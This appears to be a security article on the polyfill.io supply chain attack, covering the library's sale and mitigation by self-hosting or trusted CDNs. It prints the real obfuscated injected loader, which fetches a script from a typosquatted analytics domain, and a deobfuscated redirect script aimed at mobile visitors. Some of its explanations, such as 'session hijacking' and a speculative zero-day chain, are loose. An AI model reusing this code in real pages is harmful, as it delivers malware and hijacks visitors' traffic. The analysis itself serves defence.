A supply chain attack via Polyfill, a common open-source library written in JavaScript, used in web development to provide modern functionality on older browsers like IE7 that did not support it natively. The attack has affected more than 100,000 websites that have implemented this library in their code, which is considered a significant attack surface.
What is Polyfill Used for in Web Development?
While it’s true that most modern browsers support most of the latest web standards, there are still older browsers in use that lack support for newer features. Polyfills help bridge this gap, ensuring that websites and applications work consistently across different browsers.
A Basic Example of Polyfill Code and Its Function in Web Development
For example, in 2016, a new version of JavaScript was released, ECMAScript (ES7), which introduced a new method Array.prototype.includes. This method is used to check if an array contains a specific value.
Here’s an example:
// Example code using Array.prototype.includes
const values = ['value_1', 'value_2', 'value_3'];
if (values.includes('value1')) {
console.log('value_1 is in the list!');
} else {
console.log('value_1 is not in the list!');
}
The includes method is used to check if the values array contains value_1. If a user is using an old browser like Internet Explorer 11, the browser will return an error instead of performing the check, which will cause an issue for the user. The solution to this problem is using a polyfill to make the includes method supported in the old browser, allowing the page to run without errors. This avoids the need to write special code for these users.
The above example shows how important polyfills are for web developers to avoid errors that can occur because users are using old browsers. This makes polyfills widely used in many popular platforms to enhance the user experience.
Selling The Ownership of Polyfill to a Chinese Company
Polyfill was managed and maintained by the community, but then ownership was sold to Funnull. Jake confirmed this in a tweet about the deal, stating that Funnull is now the new maintainer and operator of the GitHub repository.
The new company started using the library’s extensive usage to deliver JavaScript code and redirect users to other websites. Polyfill was hosted on [cdn.polyfill.io]. For a long time, everyone imported their code from this domain. This practice put any website allowing this library to run its JavaScript code at risk of attacks.
The attackers used various techniques to deliver the JavaScript code, including poor techniques like using a misspelt Google Analytics name (googie-anaiytics instead of google-analytics) to look legitimate and trick users as part of phishing attacks.
Google mentions that the attacker used more than one domain, including [Bootcss.com], [Bootcdn.net], and [Staticfile.org].
The following was the injected code:
function MqMqY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t
}
function HHwbhL(e){
var m='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}return MqMqY(t)
}
eval('window')['klodTq']=function(){;(function(u,r,w,d,f,c){var x=HHwbhL;u=decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c)));'jQuery';k=r[2]+'c'+f[1];'Flex';v=k+f[6];var s=d.createElement(v+c[0]+c[1]),g=function(){};s.type='text/javascript';{s.onload=function(){g()}}s.src=u;'CSS';d.getElementsByTagName('head')[0].appendChild(s)})('aHR0cHM6Ly93d3cuZ29vZ2llLWFuYWl5dGljcy5jb20vZ2EuanM=','gUssQxWzjLAD',window,document,'DrPdgDiahyku','ptsrhUDHCv')};
if( !(/^Mac|Win/.test(navigator.platform)) && (document.referrer.indexOf('.') !== -1) ) klodTq();
The following code is an example of obfuscation.
The code checks the user’s device by inspecting the user agent. If the device is identified as Mac or Windows, the code will freeze. If not, it will load the googie-analiytics script instead of the legitimate Google Analytics code. This script is from a fraudulent site pretending to be https://www.googie-anaiytics.com/ga.js, which loads the malicious code.
A researcher had already copied the Googie code before it was taken down and shared it on Pastebin. This code was also obfuscated to avoid reverse engineering and analysis.
Some researchers on GitHub have been working to analyze this code and make it more readable by deobfuscating it.
function loadJS(jsSrc, callbackRef) {
var el = document.createElement("script");
var callback = callbackRef || function () {};
el.type = "text/javascript";
{
el.onload = function () {
callback();
};
}
el.src = jsSrc;
document.getElementsByTagName("head")[0].appendChild(el);
}
function isPc() {
try {
var winplatform = navigator.platform == "Win32" || navigator.platform == "Windows";
var macplatform = navigator.platform == "Mac68K" || navigator.platform == "MacPPC" || navigator.platform == "Macintosh" || navigator.platform == "MacIntel";
if (macplatform || winplatform) {
return true;
} else {
return false;
}
} catch (err) {
return false;
}
}
function vfed_update(domain) {
if (domain !== "") {
loadJS("https://www.googie-anaiytics.com/html/checkcachehw.js", function () {
if (usercache == true) {
window.location.href = domain;
}
});
}
}
function check_tiaozhuan() {
// Kinda pointless when isPc() exists lol, but ok.
var isMobile = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i);
if (isMobile) {
var curHost = window.location.host;
var referrer = document.referrer;
var vfedDomain = "";
var kuurzaDomain = "https://kuurza.com/redirect?from=bitget";
var randomNumber = Math.floor(Math.random() * 100 + 1);
var date = new Date();
var curHour = date.getHours();
if (curHost.indexOf("www.dxtv1.com") !== -1 || curHost.indexOf("www.ys752.com") !== -1) {
vfedDomain = "https://kuurza.com/redirect?from=bitget";
} else if (curHost.indexOf("shuanshu.com.com") !== -1) {
vfedDomain = "https://kuurza.com/redirect?from=bitget";
} else if (referrer.indexOf(".") !== -1 && referrer.indexOf(curHost) == -1) {
vfedDomain = "https://kuurza.com/redirect?from=bitget";
} else if (curHour >= 0 && curHour < 2) {
if (randomNumber <= 10) {
vfedDomain = kuurzaDomain;
}
} else if (curHour >= 2 && curHour < 4) {
if (randomNumber <= 15) {
vfedDomain = kuurzaDomain;
}
} else if (curHour >= 4 && curHour < 7) {
if (randomNumber <= 20) {
vfedDomain = kuurzaDomain;
}
} else if (curHour >= 7 && curHour < 8) {
if (randomNumber <= 10) {
vfedDomain = kuurzaDomain;
}
} else if (randomNumber <= 10) {
vfedDomain = kuurzaDomain;
}
if (vfedDomain != "" && !isPc()) {
// Defusal check?
if (document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1) {
vfed_update(vfedDomain);
}
}
}
}
let tsastr = document.documentElement.outerHTML;
let bdtjfg = tsastr.indexOf("hm.baidu.com") != -1;
let cnzfg = tsastr.indexOf(".cnzz.com") != -1;
let wolafg = tsastr.indexOf(".51.la") != -1;
let mattoo = tsastr.indexOf(".matomo.org") != -1;
let aanaly = tsastr.indexOf(".google-analytics.com") != -1;
let ggmana = tsastr.indexOf(".googletagmanager.com") != -1;
let aplausix = tsastr.indexOf(".plausible.io") != -1;
let statcct = tsastr.indexOf(".statcounter.com") != -1;
// If any of the html has a reference to one of these special domains, wait two seconds before attempting to traffic hijack.
if (bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct) {
setTimeout(check_tiaozhuan, 2000);
} else {
check_tiaozhuan();
}
The code operates as follows:
1. Load the loadJS Function:
This function is used to execute a callback once the script has loaded.
2. Device Detection:
The isPc function is used to detect if the device is running Mac or Windows.
3. Redirection:
Redirection is based on the current domain, referrer, and time of day.
If analytics scripts are detected in the HTML, the redirection is delayed by 2 seconds to avoid detection and evasion.
Specific conditions for redirection include matching the current host to certain domains, differing referrer from the host, the current hour, and a random number within specified ranges.
4. Session Hijacking:
Before redirecting, the code checks for the absence of admin-related cookies to hijack the session.
Another scenario involves a compromised CDN running unusual JavaScript code.
The Risk of Malicious JavaScript Execution
Supply chain attacks can run malicious JavaScript on a website, exploiting unknown zero-day vulnerabilities in the browser and leading to remote code execution (RCE). Browsers, such as those using the V8 engine written in C++ with direct access to memory and CPU registers, are susceptible to memory corruption vulnerabilities.
An example is CVE-2018-17463, which demonstrates how an incorrect side effect annotation led to remote code execution.
Here is a graph illustrating the concept of achieving RCE through the execution of malicious JavaScript.
Summary of the Graph
1. Polyfill Library Hosting:
The Polyfill library is hosted on cdn.polyfill.io, which injects malicious JavaScript code.
2. User Visit:
A user visits a website that includes the malicious Polyfill library.
3. Script Request:
The browser requests the Polyfill script from cdn.polyfill.io, receiving the malicious version.
4. Malicious Script Execution
The malicious version loads the googie-analytics script (ga.js), which contains an exploit for an unknown zero-day vulnerability.
5. Bytecode Generation (Ignition)
V8’s Ignition interpreter converts the JavaScript code into bytecode. This process involves parsing the script into an abstract syntax tree (AST) and then generating bytecode from the AST.
6. Bytecode Compilation (SparkPlug)
SparkPlug, V8’s new non-optimizing compiler, compiles the bytecode into machine code. This step involves converting bytecode to a lower-level machine code without advanced optimizations.
7. Remote Code Execution (RCE):
The malicious script gains direct access to memory, leading to RCE.
Recommendation
The good news is that the domain cdn.polyfill.io has already been taken down by Namecheap. However, there are two secure ways to use Polyfill:
1. Self-Hosting:
This involves hosting the polyfill services on a private server to avoid manipulation and the risks associated with the supply chain of other servers. Setting up is quite easy.
Download the source code from the GitHub repository.
sudo apt-get update && sudo apt install npm
Git clone https://github.com/jakeChampion/polyfill-service-self-hosted/
install npm and npm run deploy
Note: don’t forget to configure your fastly command and the API token.
The second option is to use a trusted provider like Cloudflare or Fastly, as they are well-known and reliable providers. Cloudflare replaced the CDN of polyfill automatically with the new one
Conclusion
As we have seen during this article, third-party applications can pose significant threats to web applications. When selecting third-party libraries or services, it is crucial to be vigilant and choose trusted providers to avoid falling victim to supply chain attacks like the one experienced with Polyfill. Ensuring the security and reliability of these dependencies is essential for maintaining the integrity and safety of your web application.